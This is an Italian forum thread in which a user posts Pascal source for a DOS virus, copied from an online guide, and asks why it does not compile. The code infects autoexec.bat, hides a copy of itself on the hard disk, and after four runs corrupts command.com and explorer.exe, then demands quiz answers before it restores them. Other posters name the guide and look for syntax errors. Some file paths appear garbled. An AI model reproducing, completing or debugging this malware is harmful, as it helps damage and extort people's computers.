Questo sito utilizza cookies solo per scopi di autenticazione sul sito e nient'altro. Nessuna informazione personale viene tracciata. Leggi l'informativa sui cookies.
Username: Password: oppure
Pascal - Codice???
Forum - Pascal - Codice???

Avatar
Tullio (Normal User)
Newbie


Messaggi: 15
Iscritto: 21/06/2009

Segnala al moderatore
Postato alle 14:08
Lunedì, 06/07/2009
potete controllare questo codice sorgente???:hail:(Nn l'ho scritto io!)


program rr1;
uses DOS,CRT;
type conta=file of integer;
type autoexec=file of char;
var i,copy,risp2,invio:char;
auto,zone,gruppo,command,explorer:autoexec;
volte:conta;
harddisk:string[16];
dischetto:string[5];
j,contatore:integer;
risp:string[10];
procedure fallito;
begin
write('SPIACENTE AMICO QUESTA VOLTA TI E'' ANDATA MALE !!!');
DELAY(2000);
HALT;
END;
begin
invio:=chr(13);
j:=0;
i:=chr(255); {il carattere ASCII 255 e' invisibile}
assign(auto,'c:.bat');
reset (auto);
assign(volte,'c:.txt');
repeat
read(auto,copy);
if copy=i then j:=1;
until (eof(auto)) or (j=1); {guardo se autoexec.bat e' infetto}
if j<> 1 then begin {se non lo e'}
seek(auto,filesize(auto)); {aggiungo un invio}
write(auto,invio); {e il carattere 255}
invio:=char(10);
write(auto,invio);
write (auto,i); {nell' autoexec.bat}
close (auto);
harddisk:='c:.exe'; {copio il virus su hd}
dischetto:='.exe';
insert(i,harddisk,12);
insert(i,dischetto,1);
assign(zone,dischetto);
assign(gruppo,harddisk);
reset(zone);
rewrite(gruppo);
repeat
read(zone,copy);
write(gruppo,copy);
until eof(zone);
close (zone);
close(gruppo);
rewrite(volte); {creo il contatore}
write(volte,j);
close(volte);
SetFAttr(gruppo,Hidden); {nascondo il virus}
end;
reset (volte);
read(volte,contatore);
reset(volte);
contatore:=contatore+1;
write(volte,contatore);
close(volte);
reset(volte);
read(volte,contatore);
if contatore=4 then begin {contatore=4=crack}
assign(command,'c:.com');
assign(explorer,'c:.exe');
reset(command);
reset(explorer);
read(explorer,copy);
copy:=char(ord(copy)+2); {aggiungo 2 al primo }
reset(explorer);
write(explorer,copy); {carattere di }
read(command,copy); {command.com ed }
copy:=char(ord(copy)+2); {explorer.exe }
reset (command);
write (command,copy);
close (command);
close (explorer);

CLRSCR;
WRITELN(' SPIACENTE AMICO, TI SEI BECCATO UN VIRUS.');
WRITELN(' FOSSI IN TE NON SPEGNEREI IL COMPUTER.');
GOTOXY(1,5);
WRITELN('SE RISPONDI ALLE MIE DOMANDE CANCELLERO'' IL VIRUS');
WRITELN('SE NON LO FARAI...PEGGIO PER TE');
WRITE('PREMI UN TASTO PER INCOMINCIARE E RICORDATI CHE NON PUOI ');
WRITELN('SBAGLIARE');
DELAY(2500); {ritarda qualche secondo }
READKEY; {per evitare che uno prema}
CLRSCR; {un tasto per sbaglio }
{QUESTO INVECE E' L'HACK QUIZ}
REPEAT
WRITELN('Qual'' e' il nome di Mitnick?');
READLN(RISP);
WRITELN('NE SEI PROPRIO SICURO?(S/N)');
READLN(RISP2);
UNTIL (RISP2='S') OR (RISP2='s');
IF (RISP='Kevin') OR (risp='KEVIN') OR (RISP='kevin')
THEN BEGIN WRITELN('PRIMA RISPOSTA GIUSTA!');
CLRSCR;
DELAY(1500);
END
ELSE FALLITO;
WRITELN('');
REPEAT
WRITELN('Qual'' e' il sistema operativo piu' usato nelle reti?');
READLN(RISP);
WRITELN('NE SEI PROPRIO SICURO?(S/N)');
READLN(RISP2);
UNTIL (RISP2='S') OR (RISP2='s');
IF (RISP='Unix') OR (risp='UNIX') OR (RISP='unix')
THEN BEGIN WRITELN('HAI AZZECCATO ANCHE LA SECONDA, COMPLIMENTI.');
CLRSCR;
DELAY(1500);
END
ELSE FALLITO;
WRITELN('');
REPEAT
WRITELN('IL SISTEMA OPERATIVO DA LA PRECEDENZA AI COM O AGLI EXE?');
READLN(RISP);
WRITELN('NE SEI PROPRIO SICURO?(S/N)');
READLN(RISP2);
UNTIL (RISP2='S') OR (RISP2='s');
IF (RISP='COM') OR (risp='Com') OR (RISP='com')
THEN BEGIN WRITELN('E ANCHE LA TERZA E'' GIUSTA, ORA TOGLIERO'' IL VIRUS');
CLRSCR;
DELAY(1500);
END
ELSE FALLITO;

reset(command);
reset(explorer);
read(explorer,copy);
copy:=char(ord(copy)-2); {tolgo 2 al primo }
reset(explorer); {carattere di }
write(explorer,copy); {command.com ed }
read(command,copy); {explorer.exe }
copy:=char(ord(copy)-2);
reset (command);
write (command,copy);
close (command);
close (explorer);
end;
end.

PM Quote
Avatar
Matthew (Member)
Expert


Messaggi: 387
Iscritto: 29/01/2007

Segnala al moderatore
Postato alle 14:09
Lunedì, 06/07/2009
Cosa intendi per controllare? Spiegati meglio: c'è qualcosa che non va? O vuoi sapere cosa fa?

PM Quote
Avatar
tasx (Dev Team)
Expert


Messaggi: 439
Iscritto: 15/12/2008

Segnala al moderatore
Postato alle 17:43
Lunedì, 06/07/2009
Ciao tullio!!
Questo sorgente mi sembra molto simile a quello di una piccola guida su come creare un semplice virus in pascal.... giusto??
E' si è proprio quello, basta guardare qui:
http://it.geocities.com/revengeassociation/guide/turbo.htm ...

ciaociao

PM Quote
Avatar
Tullio (Normal User)
Newbie


Messaggi: 15
Iscritto: 21/06/2009

Segnala al moderatore
Postato alle 13:03
Martedì, 07/07/2009
Lo so lo preso da la!:rotfl:
io uso dev-pascal e non me lo compila...
volevo solo sapere k errore c'era... xk io nn lo trovo

PM Quote
Avatar
Gians (Normal User)
Newbie


Messaggi: 17
Iscritto: 12/08/2009

Segnala al moderatore
Postato alle 21:23
Giovedì, 13/08/2009
Non ho guardato con attenzione ma vedo diversi 'end' senza ';'... comunque mi sembra che non abbia senso >.<

PM Quote
Avatar
Gians (Normal User)
Newbie


Messaggi: 17
Iscritto: 12/08/2009

Segnala al moderatore
Postato alle 17:37
Martedì, 18/08/2009
ah no ritiro quello che ho detto, non avevo notato gli else...

PM Quote